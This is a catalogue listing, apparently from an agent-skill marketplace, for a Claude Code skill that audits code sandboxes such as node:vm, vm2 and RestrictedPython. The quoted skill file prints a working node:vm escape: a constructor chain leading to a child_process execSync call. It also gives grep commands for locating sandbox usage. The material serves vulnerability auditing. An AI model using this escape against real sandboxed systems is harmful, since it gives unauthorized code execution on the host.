sandbox-escape

sandbox-escape is a skill for Claude Code from ByamB4/find-cve-agent. It costs 34 tokens per session (1,275 once invoked), scanned A, original, Apache-2.0.

A security checker for sandbox escapes, where code intended to run in a restricted environment breaks out and executes with access to the host system.

In plain words
What is it for?
Use it to audit code evaluators and packages built around node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom sandboxes.
Why use it?
It helps test whether virtual-machine or custom sandbox boundaries can really contain untrusted code, including packages that use Node.js’s vm module.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the find-cve-agent plugin — 21 skills, 7 commands, 5 agents shipped together

Good fit Use it to audit code evaluators and packages built around node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom sandboxes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/byamb4/find-cve-agent/sandbox-escape
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ByamB4/find-cve-agent --skill sandbox-escape
Clone the repo
git clone --depth 1 https://github.com/ByamB4/find-cve-agent

Made for: Claude Code.

Or install find-cve-agent, the plugin that ships this one along with the rest of its 21 skills, 7 commands, 5 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for sandbox-escape

README.md
[![agentmods](https://agentmods.dev/badge/skills/byamb4/find-cve-agent/sandbox-escape/github.svg)](https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape)
Your own site
<a href="https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape"><img src="https://agentmods.dev/badge/skills/byamb4/find-cve-agent/sandbox-escape/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for sandbox-escape

Your own site · 80×15
<a href="https://agentmods.dev/skills/byamb4/find-cve-agent/sandbox-escape"><img src="https://agentmods.dev/badge/skills/byamb4/find-cve-agent/sandbox-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 34 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,275 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00034 $0.01275
Opus 5 $0.00017 $0.00638
Sonnet 5 $0.00007 $0.00255
Haiku 4.5 $0.00003 $0.00128

Measured 12d ago against content hash c79b2a055b9c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

sandbox-escape scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

process.mainModule.require('child_process').execSync('id').toString();
skills/sandbox-escape/SKILL.md · 145 lines

How it starts

The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Sandbox Escape Detection

When to Use

Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.

Key Insight

node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.

The Constructor Chain (node:vm)

The fundamental escape from node:vm:

// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host

Then achieve RCE:

const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();

Why This Works

  1. this refers to the sandbox object
  2. this.constructor is Object (from the outer realm)
  3. Object.constructor is Function (from the outer realm)
  4. Function('return process')() executes in the outer realm
  5. process gives access to require and the full Node.js API

Process

Step 1: Find Sandbox Usage

# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .

# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .

# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .

# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .

Step 2: Identify the Sandbox Mechanism

Mechanism Security Level Notes
node:vm NONE Not a security boundary. Always escapable.
vm2 LOW-MEDIUM Deprecated. Multiple CVEs. Check version.
isolated-vm HIGH Separate V8 isolate. Genuinely isolated.
quickjs-emscripten HIGH Separate engine in Wasm.
Python simpleeval MEDIUM Safe for simple expressions. Check version.
Python ast.literal_eval HIGH Only allows literals. Safe.
RestrictedPython MEDIUM Check version for known bypasses.
Custom eval wrappers LOW Almost always bypassable.

Read the full file on GitHub · 145 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 145 lines · 34 tokens per session scan A c79b2a055b9c

Subscribe to this mod's changes

sandbox-escape is a skill published in the GitHub repository ByamB4/find-cve-agent (48 stars, last pushed 5mo ago), licensed Apache-2.0. It adds 34 tokens to every session and 1,275 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories